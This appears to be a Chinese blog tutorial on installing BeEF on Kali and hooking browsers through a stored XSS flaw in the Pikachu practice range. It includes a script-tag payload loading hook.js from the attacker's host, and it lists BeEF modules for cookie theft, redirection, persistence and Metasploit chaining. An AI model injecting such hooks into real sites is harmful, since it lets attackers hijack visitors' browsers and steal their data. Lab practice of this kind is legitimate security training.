【工具篇】Kali下beef实战详细教程

发布时间 2023-12-28 23:21:40作者: 橙子全栈测试笔记

一、beef安装

第一步:安装beef

1.首先输入命令进行安装.

apt-get install beef-xss

发现安装不了,但是有提示.

2.根据提示进行输入命令.

apt-get update

3.再输入命令进行安装.

apt-get install beef-xss

4.直接运行Beef-xss.

beef-xss
标记处的意思是叫你 修改密码(密码输入时不可见.),本身默认的密码和账号分别为 beef 和 beef, 这里我设置的密码是root

5.访问 http://192.168.1.128:3000/ui/panel(虚拟机本地的ip地址)

账号:beef 密码:是你在上面输入的密码(这里我输入的是:root)
成功进入的页面.

二、beef靶场pikachu钓鱼实战

1、利用 生成的链接 写入存在有 XSS漏洞 的地方.

命令概括:

<script src="http://192.168.1.128/:3000/hook.js"></script>

实战一般是内网 或者 公网IP

2、找到存在 XSS漏洞 的地方.

 写入的命令:
<script src="http://192.168.1.128:3000/hook.js"></script>

用 靶机 去访问这个留言板.(当靶机访问留言页面的时候,就已经遭到到我们 XSS漏洞 的攻击了.)

我这里是用kail虚拟机自带浏览器进行访问,这个时候kail环境便会遭受攻击

命今颜色(Color):

  • 绿色对目标主机生效并且不可见(不会被发现)
  • 橙色对目标主机生效但可能可见(可能被发现)
  • 灰色对目标主机来未必生效(可验证下)
  • 红色对目标主机不生效

主要模块

  • Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。
  • Chrome extensions:主要是针对谷歌浏览器扩展插件
  • Debug:调试功能
  • Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试
  • Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等
  • IPEC:协议间通信。主要是用来连接、控制受害者浏览器的
  • Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试
  • Misc:杂项。
  • Network:网络扫描
  • Persistence:维护受害者访问
  • Phonegap:手机测试
  • Social engineering:社会工程学攻击

参考博客:

https://www.yuucn.com/a/1591972.html